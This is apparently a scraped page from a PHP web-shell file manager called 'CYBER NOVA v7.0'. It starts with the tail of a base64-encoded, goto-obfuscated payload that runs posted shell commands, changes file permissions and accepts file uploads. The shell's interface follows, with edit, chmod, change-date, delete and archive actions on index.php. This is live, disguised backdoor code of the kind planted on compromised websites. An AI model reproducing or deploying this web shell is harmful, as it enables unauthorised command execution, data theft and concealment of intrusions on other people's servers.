Y5XDE1N1wxNTZcNzJceDIwIiAuICRfU0VSVkVSWyJcMTIwXHg0OFx4NTBceDVmXHg1M1wxMDVcMTE0XDEwNiJdKTsgZGllOyBjYXNlICJceDY1XHg3OFwxNDVceDYzXHg3NVx4NzRceDY1IjogaWYgKGlzc2V0KCRfUE9TVFsiXDE0M1x4NzlceDYyXHg2NVx4NzJcMTM3XDE0M1wxNTVcMTQ0Il0pKSB7ICRvdXRwdXQgPSAkbmV1cmFsQ29yZS0+cHJvY2VzcygkTl9FWEVDVVRFLCAkX1BPU1RbIlx4NjNceDc5XHg2Mlx4NjVceDcyXHg1ZlwxNDNceDZkXHg2NCJdKTsgJG5ldXJhbE1lc3NhZ2UgPSBodG1sc3BlY2lhbGNoYXJzKCRvdXRwdXQpOyB9IGJyZWFrOyBjYXNlICJcMTQzXHg2OFwxNTVcMTU3XHg2NCI6IGlmIChpc3NldCgkX1BPU1RbIlx4NzRceDYxXDE2MlwxNDdcMTQ1XDE2NFwxMzdceDcwXDE0MVwxNjRceDY4Il0pICYmIGlzc2V0KCRfUE9TVFsiXDE0MVx4NjNcMTQzXHg2NVwxNjNcMTYzXDEzN1x4NmRcMTU3XHg2NFx4NjUiXSkpIHsgJG5ldXJhbENvcmUtPnByb2Nlc3MoJE5fQ0hNT0QsICRfUE9TVFsiXDE2NFx4NjFcMTYyXDE0N1x4NjVceDc0XHg1Zlx4NzBceDYxXDE2NFx4NjgiXSwgJF9QT1NUWyJceDYxXDE0M1wxNDNceDY1XDE2M1x4NzNcMTM3XDE1NVx4NmZcMTQ0XDE0NSJdKTsgJG5ldXJhbE1lc3NhZ2UgPSAiXHg0MVwxNDNcMTQzXDE0NVwxNjNceDczXDQwXDE2MFx4NjVcMTYyXHg2ZFwxNTFceDczXDE2M1wxNTFcMTU3XDE1NlwxNjNcNDBceDZkXHg2Zlx4NjRcMTUxXDE0NlwxNTFcMTQ1XHg2NCI7IH0gYnJlYWs7IH0gfSBnb3RvIElMZkd5OyBOQlNIQzogZ290byBMOGNWbjsgZ290byB6QzF3UDsgamhUSjA6IGdvdG8gVnhhb3M7IGdvdG8gWlJTVUw7IElubDgyOiBnb3RvIGFtRVZNOyBnb3RvIGRmVWxFOyB1RmUybzogaWYgKGlzc2V0KCRfRklMRVNbIlx4NjRceDYxXHg3NFx4NjFcMTM3XDE0Nlx4NjlcMTU0XDE0NSJdKSkgeyAkZGVzdCA9ICRjdXJyZW50TWF0cml4IC4gIlw1NyIgLiBiYXNlbmFtZSgkX0ZJTEVTWyJcMTQ0XHg2MVwxNjRcMTQxXHg1ZlwxNDZcMTUxXDE1NFx4NjUiXVsiXHg2ZVx4NjFceDZkXDE0NSJdKTsgJG5ldXJhbENvcmUtPnByb2Nlc3MoJE5fVVBMT0FELCAkX0ZJTEVTWyJceDY0XDE0MVwxNjRcMTQxXDEzN1wxNDZceDY5XDE1NFx4NjUiXSwgJGRlc3QpOyAkbmV1cmFsTWVzc2FnZSA9ICJcMTA0XHg2MVx4NzRceDYxXDQwXHg3NVwxNjBceDZjXHg2ZlwxNDFcMTQ0XDE0NVwxNDRcNDBcMTY0XHg2Zlx4MjBcMTU1XDE0MVx4NzRcMTYyXDE1MVx4NzgiOyB9IGdvdG8gc1RkMUM7IHN2S2U4OiBVclVIcTogZ290byBESGl3UTsgZWFVWnk6ICRuZXVyYWxDb3JlID0gbmV3IE5ldXJhbFByb2Nlc3NvcigpOyBnb3RvIHhuTEpBOyB1TGFSNTogZ290byB5Z1FqNzsgZ290byBSaFNJdzsgeE1hMmo6IGdvdG8gRjBkdmQ7IGdvdG8gc3ZLZTg7IGpQQ1ZuOiA/PgolPC9kaXY+PC9kaXY+PC9kaXY+PGRpdiBzdHlsZT0iY29sb3I6dmFyKC0tbWF0cml4LWdyZWVuKTtmb250LWZhbWlseTpPcmJpdHJvbixtb25vc3BhY2U7bWFyZ2luLXRvcDoyMHB4O2ZvbnQtc2l6ZToxLjFyZW0iPkNZQkVSIE5PVkEgdjcuMCAvLyBORVVSQUwgTkVUV09SSzogQUNUSVZFIC8vIFNFQ1VSSVRZOiBNQVhJTVVNPC9kaXY+PC9kaXY+PC9kaXY+PHNjcmlwdD4vLyBDeWJlciBOb3ZhIEVmZmVjdHMKICAgICAgICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdET01Db250ZW50TG9hZGVkJywgZnVuY3Rpb24oKSB7CiAgICAgICAgICAgIC8vIEF1dG8taGlkZSBtZXNzYWdlcwogICAgICAgICAgICBjb25zdCBtZXNzYWdlcyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5uZXVyYWwtbWVzc2FnZScpOwogICAgICAgICAgICBtZXNzYWdlcy5mb3JFYWNoKG1zZyA9PiB7CiAgICAgICAgICAgICAgICBzZXRUaW1lb3V0KCgpID0+IHsKICAgICAgICAgICAgICAgICAgICBtc2cuc3R5bGUub3BhY2l0eSA9ICcwJzsKICAgICAgICAgICAgICAgICAgICBtc2cuc3R5bGUudHJhbnNpdGlvbiA9ICdvcGFjaXR5IDAuNXMnOwogICAgICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoKCkgPT4gbXNnLnN0eWxlLmRpc3BsYXkgPSAnbm9uZScsIDUwMCk7CiAgICAgICAgICAgICAgICB9LCA2MDAwKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyBSZWFsLXRpbWUgY2xvY2sKICAgICAgICAgICAgZnVuY3Rpb24gdXBkYXRlQ3liZXJDbG9jaygpIHsKICAgICAgICAgICAgICAgIGNvbnN0IG5vdyA9IG5ldyBEYXRlKCk7CiAgICAgICAgICAgICAgICBjb25zdCB0aW1lU3RyID0gbm93LnRvTG9jYWxlVGltZVN0cmluZygnZW4tVVMnLCB7IAogICAgICAgICAgICAgICAgICAgIGhvdXIxMjogZmFsc2UsCiAgICAgICAgICAgICAgICAgICAgaG91cjogJzItZGlnaXQnLAogICAgICAgICAgICAgICAgICAgIG1pbnV0ZTogJzItZGlnaXQnLAogICAgICAgICAgICAgICAgICAgIHNlY29uZDogJzItZGlnaXQnCiAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLnNlc3Npb24taW5mbyA+IGRpdjpsYXN0LWNoaWxkJykuZm9yRWFjaChlbCA9PiB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFlbC5jbGFzc0xpc3QuY29udGFpbnMoJ3N0YXR1cy1iYWRnZScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVsLnRleHRDb250ZW50ID0gdGltZVN0cjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgfQogICAgICAgICAgICBzZXRJbnRlcnZhbCh1cGRhdGVDeWJlckNsb2NrLCAxMDAwKTsKICAgICAgICAgICAgCiAgICAgICAgICAgIC8vIEVkaXRvciBhdXRvLXJlc2l6ZQogICAgICAgICAgICBjb25zdCBlZGl0b3IgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcubmV1cmFsLWNvbnRlbnQnKTsKICAgICAgICAgICAgaWYgKGVkaXRvcikgewogICAgICAgICAgICAgICAgZWRpdG9yLmFkZEV2ZW50TGlzdGVuZXIoJ2lucHV0JywgZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAgICAgdGhpcy5zdHlsZS5oZWlnaHQgPSAnYXV0byc7CiAgICAgICAgICAgICAgICAgICAgdGhpcy5zdHlsZS5oZWlnaHQgPSAodGhpcy5zY3JvbGxIZWlnaHQgKyAzMCkgKyAncHgnOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICBlZGl0b3IuZGlzcGF0Y2hFdmVudChuZXcgRXZlbnQoJ2lucHV0JykpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyBUb29sIGNhcmQgaG92ZXIgZWZmZWN0cwogICAgICAgICAgICBjb25zdCB0b29sQ2FyZHMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcudG9vbC1jYXJkJyk7CiAgICAgICAgICAgIHRvb2xDYXJkcy5mb3JFYWNoKGNhcmQgPT4gewogICAgICAgICAgICAgICAgY2FyZC5hZGRFdmVudExpc3RlbmVyKCdtb3VzZWVudGVyJywgZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAgICAgY29uc3QgY29sb3JzID0gWycjMDBlZWZmJywgJyMwMGZmNDEnLCAnIzlkMDBmZicsICcjZmZmZjAwJ107CiAgICAgICAgICAgICAgICAgICAgY29uc3QgcmFuZG9tQ29sb3IgPSBjb2xvcnNbTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogY29sb3JzLmxlbmd0aCldOwogICAgICAgICAgICAgICAgICAgIHRoaXMuc3R5bGUuYm94U2hhZG93ID0gYDAgMTBweCA0MHB4ICR7cmFuZG9tQ29sb3J9YDsKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBjYXJkLmFkZEV2ZW50TGlzdGVuZXIoJ21vdXNlbGVhdmUnLCBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICB0aGlzLnN0eWxlLmJveFNoYWRvdyA9ICcnOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICAKICAgICAgICAgICAgLy8gQ3liZXIgc2Nhbm5pbmcgZWZmZWN0CiAgICAgICAgICAgIGZ1bmN0aW9uIGNyZWF0ZVNjYW5MaW5lKCkgewogICAgICAgICAgICAgICAgY29uc3Qgc2NhbkxpbmUgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdkaXYnKTsKICAgICAgICAgICAgICAgIHNjYW5MaW5lLnN0eWxlLmNzc1RleHQgPSBgCiAgICAgICAgICAgICAgICAgICAgcG9zaXRpb246IGZpeGVkOwogICAgICAgICAgICAgICAgICAgIHRvcDogJHtNYXRoLnJhbmRvbSgpICogMTAwfSU7CiAgICAgICAgICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgICAgICAgICBoZWlnaHQ6IDFweDsKICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoOTBkZWcsIHRyYW5zcGFyZW50LCB2YXIoLS1tYXRyaXgtZ3JlZW4pLCB0cmFuc3BhcmVudCk7CiAgICAgICAgICAgICAgICAgICAgei1pbmRleDogOTk5OTsKICAgICAgICAgICAgICAgICAgICBwb2ludGVyLWV2ZW50czogbm9uZTsKICAgICAgICAgICAgICAgICAgICBhbmltYXRpb246IHNjYW5Nb3ZlIDEuNXMgbGluZWFyOwogICAgICAgICAgICAgICAgYDsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChzY2FuTGluZSk7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoKCkgPT4gewogICAgICAgICAgICAgICAgICAgIHNjYW5MaW5lLnJlbW92ZSgpOwogICAgICAgICAgICAgICAgfSwgMTUwMCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgIC8vIFJhbmRvbSBzY2FuIGxpbmVzCiAgICAgICAgICAgIHNldEludGVydmFsKGNyZWF0ZVNjYW5MaW5lLCAyMDAwKTsKICAgICAgICAgICAgCiAgICAgICAgICAgIC8vIEFkZCBzY2FuIGFuaW1hdGlvbgogICAgICAgICAgICBjb25zdCBzdHlsZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3N0eWxlJyk7CiAgICAgICAgICAgIHN0eWxlLnRleHRDb250ZW50ID0gYAogICAgICAgICAgICAgICAgQGtleWZyYW1lcyBzY2FuTW92ZSB7CiAgICAgICAgICAgICAgICAgICAgMCUgeyB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoLTEwMCUpOyBvcGFjaXR5OiAxOyB9CiAgICAgICAgICAgICAgICAgICAgMTAwJSB7IHRyYW5zZm9ybTogdHJhbnNsYXRlWCgxMDAlKTsgb3BhY2l0eTogMDsgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICBgOwogICAgICAgICAgICBkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHN0eWxlKTsKICAgICAgICAgICAgCiAgICAgICAgICAgIC8vIElucHV0IGZvY3VzIGVmZmVjdHMKICAgICAgICAgICAgY29uc3QgaW5wdXRzID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmN5YmVyLWlucHV0Jyk7CiAgICAgICAgICAgIGlucHV0cy5mb3JFYWNoKGlucHV0ID0+IHsKICAgICAgICAgICAgICAgIGlucHV0LmFkZEV2ZW50TGlzdGVuZXIoJ2ZvY3VzJywgZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAgICAgdGhpcy5zdHlsZS5ib3hTaGFkb3cgPSAnMCAwIDI1cHggdmFyKC0tY3liZXItYmx1ZSknOwogICAgICAgICAgICAgICAgICAgIHRoaXMuc3R5bGUudHJhbnNmb3JtID0gJ3NjYWxlKDEuMDIpJzsKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBpbnB1dC5hZGRFdmVudExpc3RlbmVyKCdibHVyJywgZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAgICAgdGhpcy5zdHlsZS5ib3hTaGFkb3cgPSAnJzsKICAgICAgICAgICAgICAgICAgICB0aGlzLnN0eWxlLnRyYW5zZm9ybSA9ICcnOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICAKICAgICAgICAgICAgLy8gQ29uZmlybWF0aW9uIGRpYWxvZ3Mgd2l0aCBjeWJlciB0aGVtZQogICAgICAgICAgICBjb25zdCBkZWxldGVCdXR0b25zID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmN5YmVyLWJ0bi1kYW5nZXInKTsKICAgICAgICAgICAgZGVsZXRlQnV0dG9ucy5mb3JFYWNoKGJ0biA9PiB7CiAgICAgICAgICAgICAgICBidG4uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBmdW5jdGlvbihlKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFjb25maXJtKCfimqDvuI8gUEVSTUFORU5UIERBVEEgREVMRVRJT04uIENPTlRJTlVFPycpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyBBZGQgcGFydGljbGUgZWZmZWN0cwogICAgICAgICAgICBmdW5jdGlvbiBjcmVhdGVQYXJ0aWNsZSgpIHsKICAgICAgICAgICAgICAgIGNvbnN0IHBhcnRpY2xlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7CiAgICAgICAgICAgICAgICBwYXJ0aWNsZS5zdHlsZS5jc3NUZXh0ID0gYAogICAgICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDsKICAgICAgICAgICAgICAgICAgICB3aWR0aDogM3B4OwogICAgICAgICAgICAgICAgICAgIGhlaWdodDogM3B4OwogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLWN5YmVyLWJsdWUpOwogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDUwJTsKICAgICAgICAgICAgICAgICAgICBwb2ludGVyLWV2ZW50czogbm9uZTsKICAgICAgICAgICAgICAgICAgICB6LWluZGV4OiA5OTk4OwogICAgICAgICAgICAgICAgICAgIHRvcDogJHtNYXRoLnJhbmRvbSgpICogMTAwfSU7CiAgICAgICAgICAgICAgICAgICAgbGVmdDogJHtNYXRoLnJhbmRvbSgpICogMTAwfSU7CiAgICAgICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMCAwIDEwcHggdmFyKC0tY3liZXItYmx1ZSk7CiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uOiBwYXJ0aWNsZUZsb2F0ICR7MiArIE1hdGgucmFuZG9tKCkgKiAzfXMgbGluZWFyIGluZmluaXRlOwogICAgICAgICAgICAgICAgYDsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChwYXJ0aWNsZSk7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoKCkgPT4gewogICAgICAgICAgICAgICAgICAgIHBhcnRpY2xlLnJlbW92ZSgpOwogICAgICAgICAgICAgICAgfSwgNTAwMCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgIC8vIENyZWF0ZSBwYXJ0aWNsZXMgcGVyaW9kaWNhbGx5CiAgICAgICAgICAgIHNldEludGVydmFsKGNyZWF0ZVBhcnRpY2xlLCAzMDApOwogICAgICAgICAgICAKICAgICAgICAgICAgLy8gQWRkIHBhcnRpY2xlIGFuaW1hdGlvbgogICAgICAgICAgICBjb25zdCBwYXJ0aWNsZVN0eWxlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3R5bGUnKTsKICAgICAgICAgICAgcGFydGljbGVTdHlsZS50ZXh0Q29udGVudCA9IGAKICAgICAgICAgICAgICAgIEBrZXlmcmFtZXMgcGFydGljbGVGbG9hdCB7CiAgICAgICAgICAgICAgICAgICAgMCUgeyB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgwLCAwKSBzY2FsZSgxKTsgb3BhY2l0eTogMTsgfQogICAgICAgICAgICAgICAgICAgIDEwMCUgeyB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgke01hdGgucmFuZG9tKCkgKiAyMDAgLSAxMDB9cHgsICR7TWF0aC5yYW5kb20oKSAqIDIwMCAtIDEwMH1weCkgc2NhbGUoMCk7IG9wYWNpdHk6IDA7IH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgYDsKICAgICAgICAgICAgZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChwYXJ0aWNsZVN0eWxlKTsKICAgICAgICB9KTs8L3NjcmlwdD48L2JvZHk+PC9odG0=')); ?>
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 1
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
index.php
55.88 KB
lrw-r--r--
2026-01-03 09:31:14
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).